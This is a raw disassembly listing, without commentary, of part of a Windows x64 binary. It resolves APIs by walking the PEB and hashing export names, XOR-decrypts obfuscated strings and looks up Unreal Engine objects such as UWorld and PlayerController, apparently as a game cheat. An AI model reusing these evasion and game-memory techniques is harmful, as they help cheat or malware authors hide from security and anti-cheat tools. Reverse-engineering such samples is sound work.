je 0x140086584
mov r11d, dword [rbx + 0x20]
nop dword [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0xcb657d8f
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008657f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140086560
cmp edx, 0xfb7f4d92
je 0x140086589
test r9d, r9d
jne 0x140086540
mov rax, qword [rax]
jmp 0x140086510
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x1388
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov qword [rbp - 0x68], rcx
mov ebx, ecx
add rbx, r10
cmp rbx, r10
je 0x140086634
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140086634
mov r11d, dword [rbx + 0x20]
nop dword [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x3c176e5b
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14008662f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140086610
cmp edx, 0xe7004b2b
je 0x140086639
test r9d, r9d
jne 0x1400865f0
mov rax, qword [rax]
jmp 0x1400865c0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
xor ecx, ecx
call rax
nop
lea rcx, [rbp + 0x80]
call fcn.140024af0
nop
lea rcx, [rbp + 0x38]
call fcn.140024af0
nop
lea rcx, [rbp + 0x18]
call fcn.140025730
nop
lea rcx, [rbp - 0x58]
call fcn.140025730
movups xmm0, xmmword [str.aRTZUVY]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [str.__di]
movups xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [0x140139178]
movups xmmword [rbp + 0xa0], xmm0
movsd xmm0, qword [0x140139188]
movsd qword [rbp + 0xb0], xmm0
cmp esi, 2
jl 0x1400867ff
movdqa xmm5, xmmword [0x1401395c0]
mov edx, r14d
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm6, xmmword [0x1401395f0]
movdqa xmm0, xmmword [str.6666666666666666]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x80]
mov r8d, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x38
jl 0x140086700
jmp 0x140086842
lea r9, [rbp + 0x80]
mov r8d, r14d
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x38
jl 0x140086810
lea rcx, [rbp + 0x80]
call fcn.1400830b0
mov ecx, 0x1f8
call fcn.140114088
mov rbx, rax
mov qword [rbp - 0x68], rax
lea rdx, str.6b77eceb
lea rcx, [rbp + 0x80]
call fcn.140021530
nop
mov dword [rsp + 0x50], 1
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.140021a00
mov rbx, rax
mov qword [rbp - 0x68], rax
mov edx, 0x3e
mov rcx, rax
call fcn.140021fc0
nop
lea rcx, [rbp + 0x80]
call fcn.140024af0
mov ecx, 8
call fcn.140114088
mov rdi, rax
mov qword [rax], rbx
mov qword [rbp - 0x68], 0
mov ecx, dword [str.q_WKV__]
mov dword [rbp - 0x10], ecx
movzx ecx, word [0x1401380d0]
mov word [rbp - 0xc], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x10], 0x47
xor byte [rbp - 0xf], 0x37
xor byte [rbp - 0xe], 0x38
xor byte [rbp - 0xd], 0x39
xor cl, 0x3a
mov byte [rbp - 0xc], cl
xor byte [rbp - 0xb], 0x3b
xor al, 0x3c
mov byte [rbp - 0xa], al
movsd xmm0, qword [str.yqj]
movsd qword [rbp + 0x128], xmm0
mov eax, dword [0x140138610]
mov dword [rbp + 0x130], eax
movzx eax, word [0x140138614]
mov word [rbp + 0x134], ax
cmp byte [0x140138615], 0
je 0x140086a92
mov r8d, r14d
cmp esi, 2
jl 0x140086a48
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm2, xmmword [0x1401395c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.yqj]
xorps xmm2, xmm0
movd dword [rbp + 0x128], xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x12c]
xorps xmm2, xmm1
movd dword [rbp + 0x12c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x128]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140086a60
movsd xmm0, qword [0x140138578]
movsd qword [rbp + 0x138], xmm0
mov eax, dword [0x140138580]
mov dword [rbp + 0x140], eax
movzx eax, word [0x140138584]
mov word [rbp + 0x144], ax
cmp byte [0x140138585], 0
je 0x140086c22
mov r8d, r14d
cmp esi, 2
jl 0x140086bdd
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm2, xmmword [0x1401395c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140138578]
xorps xmm2, xmm0
movd dword [rbp + 0x138], xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm2, xmm1
movd dword [rbp + 0x13c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x138]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140086bf0
lea r9, [rbp - 0x10]
lea r8, [rbp + 0x128]
lea rdx, [rbp + 0x138]
mov rcx, rdi
call fcn.1400807f0
mov qword [0x140150698], rax
mov eax, dword [0x140138390]
mov dword [rbp - 0x70], eax
movzx ecx, word [0x140138394]
mov word [rbp - 0x6c], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp - 0x70], 0x47
xor byte [rbp - 0x6f], 0x37
xor byte [rbp - 0x6e], 0x38
xor byte [rbp - 0x6d], 0x39
xor cl, 0x3a
mov byte [rbp - 0x6c], cl
xor byte [rbp - 0x6b], 0x3b
xor al, 0x3c
mov byte [rbp - 0x6a], al
movsd xmm0, qword [0x140138598]
movsd qword [rbp + 0x148], xmm0
mov eax, dword [0x1401385a0]
mov dword [rbp + 0x150], eax
movzx eax, word [0x1401385a4]
mov word [rbp + 0x154], ax
cmp byte [0x1401385a5], 0
je 0x140086e12
mov r8d, r14d
cmp esi, 2
jl 0x140086dc8
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm2, xmmword [0x1401395c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140138598]
xorps xmm2, xmm0
movd dword [rbp + 0x148], xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x14c]
xorps xmm2, xmm1
movd dword [rbp + 0x14c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x148]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140086de0
movsd xmm0, qword [0x1401385a8]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [0x1401385b0]
mov dword [rbp + 0x108], eax
movzx eax, word [0x1401385b4]
mov word [rbp + 0x10c], ax
cmp byte [0x1401385b5], 0
je 0x140086fa2
mov r8d, r14d
cmp esi, 2
jl 0x140086f5d
movdqa xmm4, xmmword [0x1401397f0]
movdqa xmm2, xmmword [0x1401395c0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
mov eax, dword [str.6666666666666666]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401385a8]
xorps xmm2, xmm0
movd dword [rbp + 0x100], xmm2
movdqa xmm3, xmmword [0x1401395e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401395f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140139680]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x104]
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x36
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140086f70
lea r9, [rbp - 0x70]
lea r8, [rbp + 0x148]
lea rdx, [rbp + 0x100]
mov rcx, rdi
call fcn.1400807f0
mov qword [0x1401506c8], rax
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140114088
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], reloc.WS2_32.dll_select
mov qword [rbp + 0x50], Ordinal_35
movups xmm0, xmmword [str.OwningGameInstance]
movups xmmword [rax], xmm0
movzx ecx, word [0x140138ac0]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 6
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov eax, dword [str.UWorld]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140138ac8]
mov word [rbp - 0x54], ax
mov byte [rbp - 0x52], 0
lea r9, [rbp + 0x38]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.140024c10
mov rbx, qword [rax]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14008708c
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140087086
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140087086
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x1400870ca
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400870c5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400870c5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
mov qword [0x140150670], rbx
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], 9
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.GameState]
movsd qword [rbp + 0x18], xmm0
movzx eax, byte [0x140138ad8]
mov byte [rbp + 0x20], al
mov byte [rbp + 0x21], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 6
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov eax, dword [str.UWorld]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140138ac8]
mov word [rbp - 0x54], ax
mov byte [rbp - 0x52], 0
lea r9, [rbp + 0x18]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x80]
mov rcx, qword [rdi]
call fcn.140024c10
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140087189
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140087183
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140087183
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400871c7
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400871c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400871c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
mov dword [rbp + 0x24], r14d
mov qword [rbp + 0x28], listen
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.LocalPlayers]
movsd qword [rbp + 0x18], xmm0
mov eax, dword [0x140138ae8]
mov dword [rbp + 0x20], eax
mov byte [rbp + 0x24], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], reloc.WS2_32.dll_listen
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.UGameInstance]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [0x140138af8]
mov dword [rbp - 0x50], eax
movzx eax, byte [0x140138afc]
mov byte [rbp - 0x4c], al
mov byte [rbp - 0x4b], 0
lea r9, [rbp + 0x18]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x80]
mov rcx, qword [rdi]
call fcn.140024c10
mov rbx, qword [rax]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140087289
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140087283
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140087283
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
nop
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400872c7
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400872c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400872c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
mov qword [0x1401506d8], rbx
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140114088
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], reloc.WS2_32.dll_recv
mov qword [rbp + 0x50], Ordinal_35
movups xmm0, xmmword [str.PlayerController]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
mov rax, qword [str.UPlayer]
mov dword [rbp - 0x58], eax
movzx eax, word [0x140138b1c]
mov word [rbp - 0x54], ax
movzx eax, byte [0x140138b1e]
mov byte [rbp - 0x52], al
mov byte [rbp - 0x51], 0
lea r9, [rbp + 0x38]
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.140024c10
mov rbx, qword [rax]
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x140087397
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140087391
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140087391
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x1400873d5
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400873d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400873d0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
mov qword [0x140150620], rbx
mov rbx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140114088
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x48], reloc.WS2_32.dll_recv
mov qword [rbp - 0x40], Ordinal_35
movups xmm0, xmmword [str.AcknowledgedPawn]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x38], xmm0
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140114088
mov qword [rbp + 0x38], rax
mov qword [rbp + 0x48], reloc.WS2_32.dll_recvfrom
mov qword [rbp + 0x50], Ordinal_35
movups xmm0, xmmword [str.APlayerController]
movups xmmword [rax], xmm0
movzx edx, byte [0x140138b48]
mov byte [rax + 0x10], dl
mov byte [rax + 0x11], 0
lea r9, [rbp - 0x58]
lea r8, [rbp + 0x38]
lea rdx, [rbp + 0x80]
mov rcx, rbx
call fcn.140024c10
mov rbx, qword [rax]
mov rdx, qword [rbp + 0x50]
cmp rdx, 0xf
jbe 0x1400874a8
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400874a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400874a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400874e6
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400874e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400874e1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
mov qword [0x1401506c0], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], listen
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.PlayerState]
movsd qword [rbp - 0x58], xmm0
movzx eax, word [0x140138b58]
mov word [rbp - 0x50], ax
movzx eax, byte [0x140138b5a]
mov byte [rbp - 0x4e], al
mov byte [rbp - 0x4d], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], 5
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
mov eax, dword [str.APawn]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x140138b60]
mov byte [rbp + 0x1c], al
mov byte [rbp + 0x1d], 0
lea r9, [rbp - 0x58]
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x80]
mov rcx, qword [rdi]
call fcn.140024c10
mov rbx, qword [rax]
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400875b1
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400875ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400875ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400875ef
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400875ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400875ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
mov qword [0x1401506b8], rbx
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], reloc.WS2_32.dll_listen
mov qword [rbp - 0x40], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.RootComponent]
movsd qword [rbp - 0x58], xmm0
mov eax, dword [0x140138b70]
mov dword [rbp - 0x50], eax
movzx eax, byte [reloc.WS2_32.dll_WSACleanup]
mov byte [rbp - 0x4c], al
mov byte [rbp - 0x4b], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x18], xmm0
mov qword [rbp + 0x28], 6
mov qword [rbp + 0x30], reloc.WS2_32.dll_ntohs
mov eax, dword [str.AActor]
mov dword [rbp + 0x18], eax
movzx eax, word [0x140138b7c]
mov word [rbp + 0x1c], ax
mov byte [rbp + 0x1e], 0
lea r9, [rbp - 0x58]
lea r8, [rbp + 0x18]
lea rdx, [rbp + 0x80]
mov rcx, qword [rdi]
call fcn.140024c10
mov rbx, qword [rax]
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x1400876b9
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400876b3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400876b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140114080
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x1400876f7
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400876f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400876f2
